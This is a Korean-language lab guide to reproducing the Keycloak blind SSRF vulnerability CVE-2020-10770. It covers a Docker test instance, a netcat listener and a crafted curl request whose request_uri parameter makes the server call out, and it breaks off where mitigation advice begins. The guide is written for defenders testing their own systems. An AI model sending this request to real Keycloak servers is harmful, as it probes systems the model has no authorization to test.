
Keycloak 블라인드 SSRF 취약점(CVE-2020-10770)을 Docker 설정, 리스너 구성, 완화 조언과 함께 재현하는 단계별 가이드.
이 문서는 Lauritz Holtmann이 발견하고 그의 블로그 게시물에 문서화한 블라인드 SSRF (CVE-2020-10770)를 테스트하는 방법에 대한 단계별 가이드입니다.
그는 또한 테스트 방법을 간략히 설명했습니다. 이 문서는 더 자세한 설명입니다.
모든 공로는 Lauritz에게 있습니다.
여기서는 Mac OSX에서 Docker를 사용합니다.
세 개의 셸이 필요했습니다. 하나는 Keycloak 인스턴스를 실행하고, 하나는 리스너용, 하나는 curl 요청용입니다.
버전 <= 12.0.1의 실행 중인 Keycloak 인스턴스가 필요합니다.
다음 명령으로 테스트 인스턴스를 시작할 수 있습니다.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
브라우저에서 http://localhost:8080/auth/admin/ 을 방문하고 사용자 이름 "admin"과 비밀번호 "admin"으로 로그인합니다.
왼쪽에서 "Clients" 메뉴로 전환합니다. 그러면 Clients 개요 페이지가 표시됩니다.

오른쪽에서 "Create"를 클릭하여 새 클라이언트를 생성합니다. 그러면 클라이언트 생성 페이지로 이동합니다.

Oauth2 클라이언트에 적절한 "Client ID"를 선택합니다. 여기서는 "blueteamoauth2client"를 사용합니다 (이것이 <Keycloak_Client_ID>입니다). 다른 Client ID를 사용하는 경우 공격 HTTP 요청의 쿼리 매개변수를 변경해야 합니다. 저장을 클릭하여 클라이언트 설정을 완료합니다.

이제 새 Oauth2 클라이언트의 설정이 표시됩니다.

방어 측면은 여기까지입니다.
SSRF로 트리거하려는 요청을 수락하는 리스너가 필요합니다. 따라서 IP와 포트는 Keycloak 서버에서 도달 가능해야 합니다.
이 경우 localhost를 사용할 수 없습니다. Keycloak의 관점에서 localhost는 컨테이너 자체이기 때문입니다.
Mac OS에서 IP 주소를 확인하려면 다음을 사용할 수 있습니다.
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
저는 호스트 시스템의 포트 4444에서 리스너를 시작하기로 선택했습니다.
nc -v -l 4444
다른 셸에서 curl로 요청을 하나 보내야 합니다. 요구 사항에 맞게 변경해야 합니다.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
중요한 부분은 다음과 같습니다:
따라서 제 경우의 쿼리는 다음과 같습니다.
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
netcat 리스너에서 다음과 같은 내용이 표시됩니다.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
이는 Keycloak 인스턴스가 리스너에 HTTP 호출을 수행했음을 의미합니다.
Keycloak 로그에도 이에 대한 항목이 표시됩니다.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
이를 완화하려면 다음 중 하나를 수행할 수 있습니다.